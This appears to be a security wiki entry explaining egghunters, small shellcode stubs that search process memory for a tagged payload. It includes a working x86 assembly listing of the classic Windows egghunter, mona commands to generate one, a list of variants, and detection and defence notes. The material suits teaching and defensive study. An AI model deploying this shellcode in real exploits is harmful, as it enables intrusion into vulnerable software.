Egghunters

Egghunters

TL;DR: A 30–40 byte stub that walks the process address space looking for an 8-byte attacker tag (the “egg”) and jumps to the larger payload immediately after it — solves the “tiny stack buffer, big shellcode” problem.

What it is

An egghunter is a minimal piece of shellcode whose only job is to find the real payload elsewhere in memory. It iterates through addresses, calls a syscall that returns gracefully on unmapped pages (so probes never crash the process), and compares 8 bytes at each address to a known tag — conventionally the egg repeated twice, e.g. w00tw00t. When it matches, it jmps past the tag into the real shellcode.

Preconditions / where it applies

  • A primary buffer too small for full shellcode (often 40–80 bytes) but large enough for the hunter (~32 bytes on x86)
  • A secondary buffer somewhere in memory that the attacker also controls — uploaded file, HTTP body, registry value, environment variable
  • Either the secondary buffer’s address is unknown (so brute-force search is required) or the address depends on heap state and cannot be predicted

Technique

The Windows x86 egghunter (NtAccessCheckAndAuditAlarm variant by Skape) is the classic:

; eax preloaded with egg, e.g. 0x77303074 ("w00t")
egg_hunter:
  or  dx, 0x0fff       ; align to page boundary - 1
next_addr:
  inc edx              ; next byte
  pushad
  lea eax, [edx]
  push 0x02            ; NtAccessCheckAndAuditAlarm syscall #
  pop eax
  int 0x2e             ; syscall (legacy) — returns STATUS_ACCESS_VIOLATION on bad page
  cmp al, 0x05         ; STATUS_ACCESS_VIOLATION low byte
  popad
  je  next_page        ; skip whole page on fault
  mov eax, 0x77303074  ; egg
  mov edi, edx
  scasd                ; compare [edi], eax
  jne next_addr
  scasd                ; compare next 4 bytes (double-tag)
  jne next_addr
  jmp edi              ; found — execute payload

Double-egg matching (w00tw00t) reduces false positives from incidental occurrences. mona generates one for you:

1
2
!mona egg -t w00t
!mona egg -t w00t -e <encoder>      ; if bad chars constrain output

Place the real payload anywhere in process memory prefixed with w00tw00t, then jump to the hunter from the small primary buffer. On x64 the structure is identical but the syscall mechanism changes (syscall instead of int 0x2e).

Variants:

  • SEH egghunter — install an SEH handler instead of using NtAccessCheckAndAuditAlarm; works on systems where the syscall returns differ
  • IsBadReadPtr egghunter — uses kernel32 export; smaller but assumes kernel32 base is known
  • Checksum egghunter — checksums chunks before tag match to reduce scanning time on huge VAs

Detection and defence

  • DEP+CFG+CET (dep-bypass, control-flow-guard, cet-shadow-stack) all break the hunter’s jmp edi
  • EDR signature on the loop pattern is straightforward — short forward jumps inside a tight syscall-cmp-loop
  • Heap-spray detection and high-volume page-fault telemetry correlate with hunter activity
  • Process Mitigation ProcessImageLoadPolicy + ACG block injection of arbitrary RX memory the hunter would land in

References

Related: bad-character-handling, stack-buffer-overflow, mona-py, seh-overwrite